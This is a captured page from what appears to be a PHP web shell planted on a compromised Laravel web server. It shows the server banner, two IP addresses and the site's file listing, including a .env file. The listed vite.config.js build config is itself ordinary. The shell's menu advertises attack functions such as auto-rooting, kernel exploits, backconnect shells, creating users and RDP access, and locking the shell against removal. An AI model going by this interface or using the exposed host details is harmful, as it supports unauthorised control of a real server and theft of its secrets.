Linux webserver.lcwhost.net 5.10.0-12-amd64 #1 SMP Debian 5.10.103-1 (2022-03-07) x86_64
LiteSpeed
: 194.163.130.72 | : 216.73.216.224
Cant Read [ /etc/named.conf ]
7.4.33
admin
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
admin /
domains /
sm.lcwhost.net /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
app
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
node_modules
[ DIR ]
drwxr-xr-x
public
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
routes
[ DIR ]
drwxr-xr-x
storage
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
.editorconfig
258
B
-rw-r--r--
.env
1.25
KB
-rw-r--r--
.gitattributes
186
B
-rw-r--r--
.gitignore
278
B
-rw-r--r--
.htaccess
759
B
-rw-r--r--
README.md
4.01
KB
-rw-r--r--
artisan
350
B
-rw-r--r--
composer.json
4
KB
-rw-r--r--
composer.lock
522.74
KB
-rw-r--r--
index.php
582
B
-rw-r--r--
package-lock.json
117.88
KB
-rw-r--r--
package.json
982
B
-rw-r--r--
php
0
B
-rw-r--r--
phpunit.xml
1.16
KB
-rw-r--r--
postcss.config.js
91
B
-rw-r--r--
vite.config.js
2.93
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vite.config.js
import { defineConfig } from 'vite' import tailwindcss from '@tailwindcss/vite' import laravel from 'laravel-vite-plugin'; import path from 'path'; import fs from 'fs'; function getThemeFromEnv() { return process.env.npm_config_theme || process.env.THEME || null; } export default defineConfig(() => { const theme = getThemeFromEnv(); if (!theme) { console.error("\n❗ Please provide a theme using --theme=guest/sophia"); console.error("Example:"); console.error(" npm run dev --theme=guest/sophia"); console.error(" npm run build --theme=guest/sophia\n"); process.exit(1); } const isDev = process.env.VITE_DEV_SERVER === 'true'; const jsPath = `resources/themes/${theme}/assets/js/app.js`; const cssPath = `resources/themes/${theme}/assets/css/app.css`; const input = []; if (fs.existsSync(jsPath)) input.push(jsPath); if (fs.existsSync(cssPath)) input.push(cssPath); if (input.length === 0) { console.warn(`⚠️ No valid Vite input files found for theme "${theme}". Skipping build.`); process.exit(0); } const outputDir = `resources/themes/${theme}/public`; if (!fs.existsSync(outputDir)) { fs.mkdirSync(outputDir, { recursive: true }); } return { publicDir: false, server: { cors: true, watch: { usePolling: true, interval: 100, ignored: ['**/resources/modules_statuses.json', '**/storage/**', '**/public/**'] }, }, build: { manifest: true, outDir: outputDir, emptyOutDir: false, rollupOptions: { input, output: { entryFileNames: `js/[name].js`, chunkFileNames: `js/[name].js`, assetFileNames: (assetInfo) => { if (/\.(woff2?|ttf|otf|eot)$/.test(assetInfo.name)) { return 'fonts/[name].[ext]'; } if (/\.(png|jpe?g|gif|svg|webp)$/.test(assetInfo.name)) { return 'images/[name].[ext]'; } if (/\.css$/.test(assetInfo.name)) { return 'css/[name].[ext]'; } return 'assets/[name].[ext]'; }, }, }, }, plugins: [ tailwindcss(), laravel({ input, refresh: [`resources/themes/${theme}/resources/views/**/*.blade.php`], buildDirectory: outputDir, }), ], resolve: { alias: { '@': path.resolve(__dirname, `resources/themes/${theme}/assets/js`), }, }, }; });
Close